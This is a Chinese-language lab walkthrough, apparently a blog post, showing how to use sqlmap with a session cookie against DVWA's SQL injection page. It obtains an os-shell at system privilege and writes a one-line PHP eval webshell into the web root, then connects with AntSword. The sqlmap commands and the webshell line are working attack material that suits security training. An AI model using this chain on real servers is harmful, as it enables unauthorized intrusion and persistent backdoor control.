一、前言
本次将通过DVWA靶机来展示怎样通过Sqlmap获取目标os-shell,得到命令执行权限,从而写入一句话木马,持续控制目标服务器。
二、测试
1.打开目标站点:http://192.200.30.126/DVWA/login.php,从网页后缀和wappalyzer浏览器插件来看,站点的编程语言为PHP。
2.输入账号跟密码登录后台,同时开启Burp抓取http包。
获取登录后的Cookie值:
3.找到存在SQL注入的模块。获取URL。
http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
4.由于该页面是登录后,不能直接用SQLMAP跑,需要加入Cookie来注入。构造如下命令:
sqlmap.py -u "http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=43teu289ku4vi8g9updhua57o3" --batch
这里可以看到是存在数字型注入的,可通过’–+进行闭合。
5.直接通过手工注入,爆出数据库路径为D:\phpstudy_pro\Extensions\MySQL5.7.26
看到站点通过phpstudy搭建,猜测web路径为:D:\phpstudy_pro\WWW
【注意】:通过sqlmap获取os-shell,需要知道站点的绝对路径。
6.直接通过SQLMAP加载os-shell。执行如下命令:
sqlmap.py -u "http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=43teu289ku4vi8g9updhua57o3" --os-shell
1).第一个选择,首先选择web支持的脚本语言。(之前已经知道网站是PHP语言,)
2).第二个选择,您希望sqlmap进一步尝试揭示完整路径吗? Y
3).第三个选择,302重定向到目标URL。 你想跟上吗? Y
4).第四个选择,你提供了一个HTTP Cookie头值,而目标URL在与你的Cookie头相交的HTTP Set-Cookie头中提供了自己的Cookie。 是否要在进一步的请求中合并它们? n
5).第五个选择,你想用什么作为可写目录?
[1] 常用路径枚举
[2]自定义路径
[3] 自定义枚举字典
[4] 蛮力枚举路径
这里选择2,使用之前猜测的web路径:D:\phpstudy_pro\WWW\,不过这里需要使用反斜杠:D:/phpstudy_pro/WWW/
7.获取到os-shell后,直接命令执行whoami,发现直接是system权限。
8.通过dir获取当前路径,D:\phpstudy_pro\WWW\路径下确实是DVWA网站的web路径。
9.直接通过echo写入一句话PHP木马,写入到web的根路径下。这里敲完命令就直接按回车。
echo "<?php @eval($_POST["shell"]);?>" > shell.php
10.直接通过蚁剑连接,测试连接成功。成功获取目标站点管理权限。